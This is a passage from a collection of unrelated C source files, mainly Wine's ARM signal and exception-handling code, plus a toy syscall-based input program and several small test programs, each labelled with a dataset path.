insend(&START,300); traverse(&START); count(&START); }
the_stack_data/173579388.c
/* * ARM signal handling routines * * Copyright 2002 Marcus Meissner, SuSE Linux AG * Copyright 2010-2013, 2015 André Hentschel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #if 0 #pragma makedep unix #endif #ifdef __arm__ #include "config.h" #include "wine/port.h" #include <assert.h> #include <pthread.h> #include <signal.h> #include <stdlib.h> #include <stdarg.h> #include <stdio.h> #ifdef HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_SYS_PARAM_H # include <sys/param.h> #endif #ifdef HAVE_SYSCALL_H # include <syscall.h> #else # ifdef HAVE_SYS_SYSCALL_H # include <sys/syscall.h> # endif #endif #ifdef HAVE_SYS_SIGNAL_H # include <sys/signal.h> #endif #ifdef HAVE_SYS_UCONTEXT_H # include <sys/ucontext.h> #endif #define NONAMELESSUNION #define NONAMELESSSTRUCT #include "ntstatus.h" #define WIN32_NO_STATUS #include "windef.h" #include "winnt.h" #include "winternl.h" #include "wine/exception.h" #include "wine/asm.h" #include "unix_private.h" #include "wine/debug.h" WINE_DEFAULT_DEBUG_CHANNEL(seh); /*********************************************************************** * signal context platform-specific definitions */ #ifdef linux #if defined(__ANDROID__) && !defined(HAVE_SYS_UCONTEXT_H) typedef struct ucontext { unsigned long uc_flags; struct ucontext *uc_link; stack_t uc_stack; struct sigcontext uc_mcontext; sigset_t uc_sigmask; unsigned long uc_regspace[128] __attribute__((__aligned__(8))); } ucontext_t; #endif /* All Registers access - only for local access */ # define REG_sig(reg_name, context) ((context)->uc_mcontext.reg_name) # define REGn_sig(reg_num, context) ((context)->uc_mcontext.arm_r##reg_num) /* Special Registers access */ # define SP_sig(context) REG_sig(arm_sp, context) /* Stack pointer */ # define LR_sig(context) REG_sig(arm_lr, context) /* Link register */ # define PC_sig(context) REG_sig(arm_pc, context) /* Program counter */ # define CPSR_sig(context) REG_sig(arm_cpsr, context) /* Current State Register */ # define IP_sig(context) REG_sig(arm_ip, context) /* Intra-Procedure-call scratch register */ # define FP_sig(context) REG_sig(arm_fp, context) /* Frame pointer */ /* Exceptions */ # define ERROR_sig(context) REG_sig(error_code, context) # define TRAP_sig(context) REG_sig(trap_no, context) struct extended_ctx { unsigned long magic; unsigned long size; }; struct vfp_sigframe { struct extended_ctx ctx; unsigned long long fpregs[32]; unsigned long fpscr; }; static void *get_extended_sigcontext( const ucontext_t *sigcontext, unsigned int magic ) { struct extended_ctx *ctx = (struct extended_ctx *)sigcontext->uc_regspace; while ((char *)ctx < (char *)(sigcontext + 1) && ctx->magic && ctx->size) { if (ctx->magic == magic) return ctx; ctx = (struct extended_ctx *)((char *)ctx + ctx->size); } return NULL; } static void save_fpu( CONTEXT *context, const ucontext_t *sigcontext ) { struct vfp_sigframe *frame = get_extended_sigcontext( sigcontext, 0x56465001 ); if (!frame) return; memcpy( context->u.D, frame->fpregs, sizeof(context->u.D) ); context->Fpscr = frame->fpscr; } static void restore_fpu( const CONTEXT *context, ucontext_t *sigcontext ) { struct vfp_sigframe *frame = get_extended_sigcontext( sigcontext, 0x56465001 ); if (!frame) return; memcpy( frame->fpregs, context->u.D, sizeof(context->u.D) ); frame->fpscr = context->Fpscr; } #elif defined(__FreeBSD__) /* All Registers access - only for local access */ # define REGn_sig(reg_num, context) ((context)->uc_mcontext.__gregs[reg_num]) /* Special Registers access */ # define SP_sig(context) REGn_sig(_REG_SP, context) /* Stack pointer */ # define LR_sig(context) REGn_sig(_REG_LR, context) /* Link register */ # define PC_sig(context) REGn_sig(_REG_PC, context) /* Program counter */ # define CPSR_sig(context) REGn_sig(_REG_CPSR, context) /* Current State Register */ # define IP_sig(context) REGn_sig(_REG_R12, context) /* Intra-Procedure-call scratch register */ # define FP_sig(context) REGn_sig(_REG_FP, context) /* Frame pointer */ static void save_fpu( CONTEXT *context, const ucontext_t *sigcontext ) { } static void restore_fpu( const CONTEXT *context, ucontext_t *sigcontext ) { } #endif /* linux */ enum arm_trap_code { TRAP_ARM_UNKNOWN = -1, /* Unknown fault (TRAP_sig not defined) */ TRAP_ARM_PRIVINFLT = 6, /* Invalid opcode exception */ TRAP_ARM_PAGEFLT = 14, /* Page fault */ TRAP_ARM_ALIGNFLT = 17, /* Alignment check exception */ }; struct syscall_frame { DWORD r0; /* 000 */ DWORD r1; /* 004 */ DWORD r2; /* 008 */ DWORD r3; /* 00c */ DWORD r4; /* 010 */ DWORD r5; /* 014 */ DWORD r6; /* 018 */ DWORD r7; /* 01c */ DWORD r8; /* 020 */ DWORD r9; /* 024 */ DWORD r10; /* 028 */ DWORD r11; /* 02c */ DWORD r12; /* 030 */ DWORD pc; /* 034 */ DWORD sp; /* 038 */ DWORD lr; /* 03c */ DWORD cpsr; /* 040 */ DWORD restore_flags; /* 044 */ DWORD fpscr; /* 048 */ DWORD align; /* 04c */ ULONGLONG d[32]; /* 050 */ }; C_ASSERT( sizeof( struct syscall_frame ) == 0x150); struct arm_thread_data { void *exit_frame; /* 1d4 exit frame pointer */ struct syscall_frame *syscall_frame; /* 1d8 frame pointer on syscall entry */ }; C_ASSERT( sizeof(struct arm_thread_data) <= sizeof(((struct ntdll_thread_data *)0)->cpu_data) ); C_ASSERT( offsetof( TEB, GdiTebBatch ) + offsetof( struct arm_thread_data, exit_frame ) == 0x1d4 ); C_ASSERT( offsetof( TEB, GdiTebBatch ) + offsetof( struct arm_thread_data, syscall_frame ) == 0x1d8 ); static inline struct arm_thread_data *arm_thread_data(void) { return (struct arm_thread_data *)ntdll_get_thread_data()->cpu_data; } static BOOL is_inside_syscall( ucontext_t *sigcontext ) { return ((char *)SP_sig(sigcontext) >= (char *)ntdll_get_thread_data()->kernel_stack && (char *)SP_sig(sigcontext) <= (char *)arm_thread_data()->syscall_frame); } /*********************************************************************** * unwind_builtin_dll */ NTSTATUS CDECL unwind_builtin_dll( ULONG type, struct _DISPATCHER_CONTEXT *dispatch, CONTEXT *context ) { return STATUS_UNSUCCESSFUL; } /*********************************************************************** * get_trap_code * * Get the trap code for a signal. */ static inline enum arm_trap_code get_trap_code( int signal, const ucontext_t *sigcontext ) { #ifdef TRAP_sig enum arm_trap_code trap = TRAP_sig(sigcontext); if (trap) return trap; #endif switch (signal) { case SIGILL: return TRAP_ARM_PRIVINFLT; case SIGSEGV: return TRAP_ARM_PAGEFLT; case SIGBUS: return TRAP_ARM_ALIGNFLT; default: return TRAP_ARM_UNKNOWN; } } /*********************************************************************** * get_error_code * * Get the error code for a signal. */ static inline WORD get_error_code( const ucontext_t *sigcontext ) { #ifdef ERROR_sig return ERROR_sig(sigcontext); #else return 0; #endif } /*********************************************************************** * save_context * * Set the register values from a sigcontext. */ static void save_context( CONTEXT *context, const ucontext_t *sigcontext ) { #define C(x) context->R##x = REGn_sig(x,sigcontext) /* Save normal registers */ C(0); C(1); C(2); C(3); C(4); C(5); C(6); C(7); C(8); C(9); C(10); #undef C context->ContextFlags = CONTEXT_FULL; context->Sp = SP_sig(sigcontext); /* Stack pointer */ context->Lr = LR_sig(sigcontext); /* Link register */ context->Pc = PC_sig(sigcontext); /* Program Counter */ context->Cpsr = CPSR_sig(sigcontext); /* Current State Register */ context->R11 = FP_sig(sigcontext); /* Frame pointer */ context->R12 = IP_sig(sigcontext); /* Intra-Procedure-call scratch register */ if (CPSR_sig(sigcontext) & 0x20) context->Pc |= 1; /* Thumb mode */ save_fpu( context, sigcontext ); } /*********************************************************************** * restore_context * * Build a sigcontext from the register values. */ static void restore_context( const CONTEXT *context, ucontext_t *sigcontext ) { #define C(x) REGn_sig(x,sigcontext) = context->R##x /* Restore normal registers */ C(0); C(1); C(2); C(3); C(4); C(5); C(6); C(7); C(8); C(9); C(10); #undef C SP_sig(sigcontext) = context->Sp; /* Stack pointer */ LR_sig(sigcontext) = context->Lr; /* Link register */ PC_sig(sigcontext) = context->Pc; /* Program Counter */ CPSR_sig(sigcontext) = context->Cpsr; /* Current State Register */ FP_sig(sigcontext) = context->R11; /* Frame pointer */ IP_sig(sigcontext) = context->R12; /* Intra-Procedure-call scratch register */ if (PC_sig(sigcontext) & 1) CPSR_sig(sigcontext) |= 0x20; else CPSR_sig(sigcontext) &= ~0x20; restore_fpu( context, sigcontext ); } /*********************************************************************** * signal_set_full_context */ NTSTATUS signal_set_full_context( CONTEXT *context ) { NTSTATUS status = NtSetContextThread( GetCurrentThread(), context ); if (!status && (context->ContextFlags & CONTEXT_INTEGER) == CONTEXT_INTEGER) arm_thread_data()->syscall_frame->restore_flags |= CONTEXT_INTEGER; return status; } /*********************************************************************** * get_native_context */ void *get_native_context( CONTEXT *context ) { return context; } /*********************************************************************** * get_wow_context */ void *get_wow_context( CONTEXT *context ) { return NULL; } /*********************************************************************** * NtSetContextThread (NTDLL.@) * ZwSetContextThread (NTDLL.@) */ NTSTATUS WINAPI NtSetContextThread( HANDLE handle, const CONTEXT *context ) { NTSTATUS ret; struct syscall_frame *frame = arm_thread_data()->syscall_frame; DWORD flags = context->ContextFlags & ~CONTEXT_ARM; BOOL self = (handle == GetCurrentThread()); if (!self) { ret = set_thread_context( handle, context, &self, IMAGE_FILE_MACHINE_ARMNT ); if (ret || !self) return ret; } if (flags & CONTEXT_INTEGER) { frame->r0 = context->R0; frame->r1 = context->R1; frame->r2 = context->R2; frame->r3 = context->R3; frame->r4 = context->R4; frame->r5 = context->R5; frame->r6 = context->R6; frame->r7 = context->R7; frame->r8 = context->R8; frame->r9 = context->R9; frame->r10 = context->R10; frame->r11 = context->R11; frame->r12 = context->R12; } if (flags & CONTEXT_CONTROL) { frame->sp = context->Sp; frame->lr = context->Lr; frame->pc = context->Pc & ~1; frame->cpsr = context->Cpsr; if (context->Cpsr & 0x20) frame->pc |= 1; /* thumb */ } if (flags & CONTEXT_FLOATING_POINT) { frame->fpscr = context->Fpscr; memcpy( frame->d, context->u.D, sizeof(context->u.D) ); } frame->restore_flags |= flags & ~CONTEXT_INTEGER; return STATUS_SUCCESS; } /*********************************************************************** * NtGetContextThread (NTDLL.@) * ZwGetContextThread (NTDLL.@) */ NTSTATUS WINAPI NtGetContextThread( HANDLE handle, CONTEXT *context ) { struct syscall_frame *frame = arm_thread_data()->syscall_frame; DWORD needed_flags = context->ContextFlags & ~CONTEXT_ARM; BOOL self = (handle == GetCurrentThread()); if (!self) { NTSTATUS ret = get_thread_context( handle, &context, &self, IMAGE_FILE_MACHINE_ARMNT ); if (ret || !self) return ret; } if (needed_flags & CONTEXT_INTEGER) { context->R0 = frame->r0; context->R1 = frame->r1; context->R2 = frame->r2; context->R3 = frame->r3; context->R4 = frame->r4; context->R5 = frame->r5; context->R6 = frame->r6; context->R7 = frame->r7; context->R8 = frame->r8; context->R9 = frame->r9; context->R10 = frame->r10; context->R11 = frame->r11; context->R12 = frame->r12; context->ContextFlags |= CONTEXT_INTEGER; } if (needed_flags & CONTEXT_CONTROL) { context->Sp = frame->sp; context->Lr = frame->lr; context->Pc = frame->pc; context->Cpsr = frame->cpsr; context->ContextFlags |= CONTEXT_CONTROL; } if (needed_flags & CONTEXT_FLOATING_POINT) { context->Fpscr = frame->fpscr; memcpy( context->u.D, frame->d, sizeof(frame->d) ); context->ContextFlags |= CONTEXT_FLOATING_POINT; } return STATUS_SUCCESS; } /*********************************************************************** * set_thread_wow64_context */ NTSTATUS set_thread_wow64_context( HANDLE handle, const void *ctx, ULONG size ) { return STATUS_INVALID_INFO_CLASS; } /*********************************************************************** * get_thread_wow64_context */ NTSTATUS get_thread_wow64_context( HANDLE handle, void *ctx, ULONG size ) { return STATUS_INVALID_INFO_CLASS; } /*********************************************************************** * setup_exception * * Modify the signal context to call the exception raise function. */ static void setup_exception( ucontext_t *sigcontext, EXCEPTION_RECORD *rec ) { struct { CONTEXT context; EXCEPTION_RECORD rec; } *stack; void *stack_ptr = (void *)(SP_sig(sigcontext) & ~3); CONTEXT context; NTSTATUS status; rec->ExceptionAddress = (void *)PC_sig(sigcontext); save_context( &context, sigcontext ); status = send_debug_event( rec, &context, TRUE ); if (status == DBG_CONTINUE || status == DBG_EXCEPTION_HANDLED) { restore_context( &context, sigcontext ); return; } stack = virtual_setup_exception( stack_ptr, sizeof(*stack), rec ); stack->rec = *rec; stack->context = context; /* now modify the sigcontext to return to the raise function */ SP_sig(sigcontext) = (DWORD)stack; PC_sig(sigcontext) = (DWORD)pKiUserExceptionDispatcher; if (PC_sig(sigcontext) & 1) CPSR_sig(sigcontext) |= 0x20; else CPSR_sig(sigcontext) &= ~0x20; REGn_sig(0, sigcontext) = (DWORD)&stack->rec; /* first arg for KiUserExceptionDispatcher */ REGn_sig(1, sigcontext) = (DWORD)&stack->context; /* second arg for KiUserExceptionDispatcher */ } /*********************************************************************** * call_user_apc_dispatcher */ NTSTATUS call_user_apc_dispatcher( CONTEXT *context, ULONG_PTR arg1, ULONG_PTR arg2, ULONG_PTR arg3, PNTAPCFUNC func, NTSTATUS status ) { struct syscall_frame *frame = arm_thread_data()->syscall_frame; ULONG sp = context ? context->Sp : frame->sp; struct apc_stack_layout { void *func; void *align; CONTEXT context; } *stack; sp &= ~15; stack = (struct apc_stack_layout *)sp - 1; if (context) { memmove( &stack->context, context, sizeof(stack->context) ); NtSetContextThread( GetCurrentThread(), &stack->context ); } else { stack->context.ContextFlags = CONTEXT_FULL; NtGetContextThread( GetCurrentThread(), &stack->context ); stack->context.R0 = status; } frame->sp = (DWORD)stack; frame->pc = (DWORD)pKiUserApcDispatcher; frame->r0 = (DWORD)&stack->context; frame->r1 = arg1; frame->r2 = arg2; frame->r3 = arg3; stack->func = func; frame->restore_flags |= CONTEXT_CONTROL | CONTEXT_INTEGER; return status; } /*********************************************************************** * call_raise_user_exception_dispatcher */ void call_raise_user_exception_dispatcher(void) { arm_thread_data()->syscall_frame->pc = (DWORD)pKiRaiseUserExceptionDispatcher; } /*********************************************************************** * call_user_exception_dispatcher */ NTSTATUS call_user_exception_dispatcher( EXCEPTION_RECORD *rec, CONTEXT *context ) { struct syscall_frame *frame = arm_thread_data()->syscall_frame; NTSTATUS status = NtSetContextThread( GetCurrentThread(), context ); if (status) return status; frame->r0 = (DWORD)rec; frame->r1 = (DWORD)context; frame->pc = (DWORD)pKiUserExceptionDispatcher; frame->restore_flags |= CONTEXT_INTEGER | CONTEXT_CONTROL; return status; } /*********************************************************************** * handle_syscall_fault * * Handle a page fault happening during a system call. */ static BOOL handle_syscall_fault( ucontext_t *context, EXCEPTION_RECORD *rec ) { struct syscall_frame *frame = arm_thread_data()->syscall_frame; DWORD i; if (!is_inside_syscall( context )) return FALSE; TRACE( "code=%x flags=%x addr=%p pc=%08x tid=%04x\n", rec->ExceptionCode, rec->ExceptionFlags, rec->ExceptionAddress, (DWORD)PC_sig(context), GetCurrentThreadId() ); for (i = 0; i < rec->NumberParameters; i++) TRACE( " info[%d]=%08lx\n", i, rec->ExceptionInformation[i] ); TRACE( " r0=%08x r1=%08x r2=%08x r3=%08x r4=%08x r5=%08x\n", (DWORD)REGn_sig(0, context), (DWORD)REGn_sig(1, context), (DWORD)REGn_sig(2, context), (DWORD)REGn_sig(3, context), (DWORD)REGn_sig(4, context), (DWORD)REGn_sig(5, context) ); TRACE( " r6=%08x r7=%08x r8=%08x r9=%08x r10=%08x r11=%08x\n", (DWORD)REGn_sig(6, context), (DWORD)REGn_sig(7, context), (DWORD)REGn_sig(8, context), (DWORD)REGn_sig(9, context), (DWORD)REGn_sig(10, context), (DWORD)FP_sig(context) ); TRACE( " r12=%08x sp=%08x lr=%08x pc=%08x cpsr=%08x\n", (DWORD)IP_sig(context), (DWORD)SP_sig(context), (DWORD)LR_sig(context), (DWORD)PC_sig(context), (DWORD)CPSR_sig(context) ); if (ntdll_get_thread_data()->jmp_buf) { TRACE( "returning to handler\n" ); REGn_sig(0, context) = (DWORD)ntdll_get_thread_data()->jmp_buf; REGn_sig(1, context) = 1; PC_sig(context) = (DWORD)__wine_longjmp; ntdll_get_thread_data()->jmp_buf = NULL; } else { TRACE( "returning to user mode ip=%08x ret=%08x\n", frame->pc, rec->ExceptionCode ); REGn_sig(0, context) = (DWORD)frame; REGn_sig(1, context) = rec->ExceptionCode; PC_sig(context) = (DWORD)__wine_syscall_dispatcher_return; } return TRUE; } /********************************************************************** * segv_handler * * Handler for SIGSEGV and related errors. */ static void segv_handler( int signal, siginfo_t *siginfo, void *sigcontext ) { EXCEPTION_RECORD rec = { 0 }; ucontext_t *context = sigcontext; switch (get_trap_code(signal, context)) { case TRAP_ARM_PRIVINFLT: /* Invalid opcode exception */ if (*(WORD *)PC_sig(context) == 0xdefe) /* breakpoint */ { rec.ExceptionCode = EXCEPTION_BREAKPOINT; rec.NumberParameters = 1; break; } rec.ExceptionCode = EXCEPTION_ILLEGAL_INSTRUCTION; break; case TRAP_ARM_PAGEFLT: /* Page fault */ rec.NumberParameters = 2; rec.ExceptionInformation[0] = (get_error_code(context) & 0x800) != 0; rec.ExceptionInformation[1] = (ULONG_PTR)siginfo->si_addr; rec.ExceptionCode = virtual_handle_fault( siginfo->si_addr, rec.ExceptionInformation[0], (void *)SP_sig(context) ); if (!rec.ExceptionCode) return; break; case TRAP_ARM_ALIGNFLT: /* Alignment check exception */ rec.ExceptionCode = EXCEPTION_DATATYPE_MISALIGNMENT; break; case TRAP_ARM_UNKNOWN: /* Unknown fault code */ rec.ExceptionCode = EXCEPTION_ACCESS_VIOLATION; rec.NumberParameters = 2; rec.ExceptionInformation[0] = 0; rec.ExceptionInformation[1] = 0xffffffff; break; default: ERR("Got unexpected trap %d\n", get_trap_code(signal, context)); rec.ExceptionCode = EXCEPTION_ILLEGAL_INSTRUCTION; break; } if (handle_syscall_fault( context, &rec )) return; setup_exception( context, &rec ); } /********************************************************************** * trap_handler * * Handler for SIGTRAP. */ static void trap_handler( int signal, siginfo_t *siginfo, void *sigcontext ) { EXCEPTION_RECORD rec = { 0 }; switch (siginfo->si_code) { case TRAP_TRACE: rec.ExceptionCode = EXCEPTION_SINGLE_STEP; break; case TRAP_BRKPT: default: rec.ExceptionCode = EXCEPTION_BREAKPOINT; rec.NumberParameters = 1; break; } setup_exception( sigcontext, &rec ); } /********************************************************************** * fpe_handler * * Handler for SIGFPE. */ static void fpe_handler( int signal, siginfo_t *siginfo, void *sigcontext ) { EXCEPTION_RECORD rec = { 0 }; switch (siginfo->si_code & 0xffff ) { #ifdef FPE_FLTSUB case FPE_FLTSUB: rec.ExceptionCode = EXCEPTION_ARRAY_BOUNDS_EXCEEDED; break; #endif #ifdef FPE_INTDIV case FPE_INTDIV: rec.ExceptionCode = EXCEPTION_INT_DIVIDE_BY_ZERO; break; #endif #ifdef FPE_INTOVF case FPE_INTOVF: rec.ExceptionCode = EXCEPTION_INT_OVERFLOW; break; #endif #ifdef FPE_FLTDIV case FPE_FLTDIV: rec.ExceptionCode = EXCEPTION_FLT_DIVIDE_BY_ZERO; break; #endif #ifdef FPE_FLTOVF case FPE_FLTOVF: rec.ExceptionCode = EXCEPTION_FLT_OVERFLOW; break; #endif #ifdef FPE_FLTUND case FPE_FLTUND: rec.ExceptionCode = EXCEPTION_FLT_UNDERFLOW; break; #endif #ifdef FPE_FLTRES case FPE_FLTRES: rec.ExceptionCode = EXCEPTION_FLT_INEXACT_RESULT; break; #endif #ifdef FPE_FLTINV case FPE_FLTINV: #endif default: rec.ExceptionCode = EXCEPTION_FLT_INVALID_OPERATION; break; } setup_exception( sigcontext, &rec ); } /********************************************************************** * int_handler * * Handler for SIGINT. */ static void int_handler( int signal, siginfo_t *siginfo, void *sigcontext ) { HANDLE handle; if (!p__wine_ctrl_routine) return; if (!NtCreateThreadEx( &handle, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), p__wine_ctrl_routine, 0 /* CTRL_C_EVENT */, 0, 0, 0, 0, NULL )) NtClose( handle ); } /********************************************************************** * abrt_handler * * Handler for SIGABRT. */ static void abrt_handler( int signal, siginfo_t *siginfo, void *sigcontext ) { EXCEPTION_RECORD rec = { EXCEPTION_WINE_ASSERTION, EH_NONCONTINUABLE }; setup_exception( sigcontext, &rec ); } /********************************************************************** * quit_handler * * Handler for SIGQUIT. */ static void quit_handler( int signal, siginfo_t *siginfo, void *sigcontext ) { abort_thread(0); } /********************************************************************** * usr1_handler * * Handler for SIGUSR1, used to signal a thread that it got suspended. */ static void usr1_handler( int signal, siginfo_t *siginfo, void *sigcontext ) { CONTEXT context; if (is_inside_syscall( sigcontext )) { context.ContextFlags = CONTEXT_FULL; NtGetContextThread( GetCurrentThread(), &context ); wait_suspend( &context ); NtSetContextThread( GetCurrentThread(), &context ); } else { save_context( &context, sigcontext ); wait_suspend( &context ); restore_context( &context, sigcontext ); } } /********************************************************************** * get_thread_ldt_entry */ NTSTATUS get_thread_ldt_entry( HANDLE handle, void *data, ULONG len, ULONG *ret_len ) { return STATUS_NOT_IMPLEMENTED; } /****************************************************************************** * NtSetLdtEntries (NTDLL.@) * ZwSetLdtEntries (NTDLL.@) */ NTSTATUS WINAPI NtSetLdtEntries( ULONG sel1, LDT_ENTRY entry1, ULONG sel2, LDT_ENTRY entry2 ) { return STATUS_NOT_IMPLEMENTED; } /********************************************************************** * signal_init_threading */ void signal_init_threading(void) { } /********************************************************************** * signal_alloc_thread */ NTSTATUS signal_alloc_thread( TEB *teb ) { teb->WOW32Reserved = __wine_syscall_dispatcher; return STATUS_SUCCESS; } /********************************************************************** * signal_free_thread */ void signal_free_thread( TEB *teb ) { } /********************************************************************** * signal_init_thread */ void signal_init_thread( TEB *teb ) { __asm__ __volatile__( "mcr p15, 0, %0, c13, c0, 2" : : "r" (teb) ); } /********************************************************************** * signal_init_process */ void signal_init_process(void) { struct sigaction sig_act; void *kernel_stack = (char *)ntdll_get_thread_data()->kernel_stack + kernel_stack_size; arm_thread_data()->syscall_frame = (struct syscall_frame *)kernel_stack - 1; sig_act.sa_mask = server_block_set; sig_act.sa_flags = SA_RESTART | SA_SIGINFO | SA_ONSTACK; sig_act.sa_sigaction = int_handler; if (sigaction( SIGINT, &sig_act, NULL ) == -1) goto error; sig_act.sa_sigaction = fpe_handler; if (sigaction( SIGFPE, &sig_act, NULL ) == -1) goto error; sig_act.sa_sigaction = abrt_handler; if (sigaction( SIGABRT, &sig_act, NULL ) == -1) goto error; sig_act.sa_sigaction = quit_handler; if (sigaction( SIGQUIT, &sig_act, NULL ) == -1) goto error; sig_act.sa_sigaction = usr1_handler; if (sigaction( SIGUSR1, &sig_act, NULL ) == -1) goto error; sig_act.sa_sigaction = trap_handler; if (sigaction( SIGTRAP, &sig_act, NULL ) == -1) goto error; sig_act.sa_sigaction = segv_handler; if (sigaction( SIGSEGV, &sig_act, NULL ) == -1) goto error; if (sigaction( SIGILL, &sig_act, NULL ) == -1) goto error; if (sigaction( SIGBUS, &sig_act, NULL ) == -1) goto error; return; error: perror("sigaction"); exit(1); } /*********************************************************************** * call_init_thunk */ void DECLSPEC_HIDDEN call_init_thunk( LPTHREAD_START_ROUTINE entry, void *arg, BOOL suspend, TEB *teb ) { struct arm_thread_data *thread_data = (struct arm_thread_data *)&teb->GdiTebBatch; struct syscall_frame *frame = thread_data->syscall_frame; CONTEXT *ctx, context = { CONTEXT_ALL }; context.R0 = (DWORD)entry; context.R1 = (DWORD)arg; context.Sp = (DWORD)teb->Tib.StackBase; context.Pc = (DWORD)pRtlUserThreadStart; if (context.Pc & 1) context.Cpsr |= 0x20; /* thumb mode */ if ((ctx = get_cpu_area( IMAGE_FILE_MACHINE_ARMNT ))) *ctx = context; if (suspend) wait_suspend( &context ); ctx = (CONTEXT *)((ULONG_PTR)context.Sp & ~15) - 1; *ctx = context; ctx->ContextFlags = CONTEXT_FULL; NtSetContextThread( GetCurrentThread(), ctx ); frame->sp = (DWORD)ctx; frame->pc = (DWORD)pLdrInitializeThunk; frame->r0 = (DWORD)ctx; frame->restore_flags |= CONTEXT_INTEGER; pthread_sigmask( SIG_UNBLOCK, &server_block_set, NULL ); __wine_syscall_dispatcher_return( frame, 0 ); } /*********************************************************************** * signal_start_thread */ __ASM_GLOBAL_FUNC( signal_start_thread, "push {r4-r12,lr}\n\t" /* store exit frame */ "str sp, [r3, #0x1d4]\n\t" /* arm_thread_data()->exit_frame */ /* set syscall frame */ "ldr r6, [r3, #0x1d8]\n\t" /* arm_thread_data()->syscall_frame */ "cbnz r6, 1f\n\t" "sub r6, sp, #0x150\n\t" /* sizeof(struct syscall_frame) */ "str r6, [r3, #0x1d8]\n\t" /* arm_thread_data()->syscall_frame */ "1:\tmov sp, r6\n\t" "bl " __ASM_NAME("call_init_thunk") ) /*********************************************************************** * signal_exit_thread */ __ASM_GLOBAL_FUNC( signal_exit_thread, "ldr r3, [r2, #0x1d4]\n\t" /* arm_thread_data()->exit_frame */ "mov ip, #0\n\t" "str ip, [r2, #0x1d4]\n\t" "cmp r3, ip\n\t" "it ne\n\t" "movne sp, r3\n\t" "blx r1" ) #endif /* __arm__ */
the_stack_data/14199654.c
/* Minimal toy example with some input output no stdlib * Symbolic values are read from stdin using int80 or syscall. The program has 2 posible paths * * Compile with : * $ gcc -fno-builtin -static -nostdlib -m32 -fomit-frame-pointer toy001.c -o toy001 * * Analyze it with: * $ python system.py --sym stdin examples/toy001-nostdlib */ /* Linux takes system call arguments in registers: syscall number %eax call-clobbered arg 1 %ebx call-saved arg 2 %ecx call-clobbered arg 3 %edx call-clobbered arg 4 %esi call-saved arg 5 %edi call-saved arg 6 %ebp call-saved */ static inline int syscall(int syscall_number, ... ) { int ret; asm volatile ( "pushl %%ebp\n\t" "movl %1, %%eax\n\t" "movl %2, %%ebx\n\t" "movl %3, %%ecx\n\t" "movl %4, %%edx\n\t" "movl %5, %%edi\n\t" "movl %6, %%esi\n\t" "movl %7, %%ebp\n\t" "int $0x80\n\t" "popl %%ebp\n\t" : "=a"(ret) : "g"(syscall_number), "g"(*(&syscall_number+1)), "g"(*(&syscall_number+2)), "g"(*(&syscall_number+3)), "g"(*(&syscall_number+4)), "g"(*(&syscall_number+5)), "g"(*(&syscall_number+6)) : "%ebx", "%ecx", "%edx", "%esi", "%edi" ); return ret; } int write(int fd, void* buffer, unsigned int size){ return syscall(4, fd, buffer, size,0,0,0); } int read(int fd, void* buffer, unsigned int size){ return syscall(3, fd, buffer, size,0,0,0); } int exit(int errorlevel){ return syscall(1, errorlevel,0,0,0,0,0); } void _start(){ unsigned char cmd; read(0,&cmd,1); if (cmd > 0x7f) { write(1, "Message: It is greater than 0x7f\n", 33); } else { write(1, "Message: It is smaller or equal than 0x7f\n", 42); } exit(0); }
the_stack_data/726494.c
/* Make the library identifiable with the RCS ident command. */ static char *version_string = "\n$Version: GNU termcap 1.3.1 $\n";
the_stack_data/541180.c
extern void foo3(void); int main() { foo3(); return 0; }
the_stack_data/32949619.c
/* * POK header * * The following file is a part of the POK project. Any modification should * made according to the POK licence. You CANNOT use this file or a part of * this file is this part of a file for your own project * * For more information on the POK licence, please see our LICENCE FILE * * Please follow the coding guidelines described in doc/CODING_GUIDELINES * * Copyright (c) 2007-2009 POK team * * Created by julien on Fri Jan 30 14:41:34 2009 */ /* $NetBSD: s_infinity.c,v 1.5 2003/07/26 19:25:05 salo Exp $ */ /* * Written by J.T. Conklin <[email protected]>. * Public domain. */ #ifdef POK_NEEDS_LIBMATH /*#if BYTE_ORDER == LITTLE_ENDIAN*/ char __infinity[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f}; /*#else char __infinity[] = { 0x7f, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; #endif*/ #endif
the_stack_data/82950125.c
#include <stdio.h> struct sss{ int i1:14; int i2:29; int i3:30; }; static union u{ struct sss sss; unsigned char a[sizeof (struct sss)]; } u; int main (void) { int i; for (i = 0; i < sizeof (struct sss); i++) u.a[i] = 0; u.sss.i1 = 16383.0; for (i = 0; i < sizeof (struct sss); i++) printf ("%x ", u.a[i]); printf ("\n"); u.sss.i2 = 536870911.0; for (i = 0; i < sizeof (struct sss); i++) printf ("%x ", u.a[i]); printf ("\n"); u.sss.i3 = 1073741823.0; for (i = 0; i < sizeof (struct sss); i++) printf ("%x ", u.a[i]); printf ("\n"); return 0; }
the_stack_data/173578000.c
int main() { int abcd = 5; --abcd; abcd += 101; int kgk = 404; kgk++; kgk *= abcd; abcd /= abcd; kgk--; return (kgk + ++abcd); }
the_stack_data/9512925.c
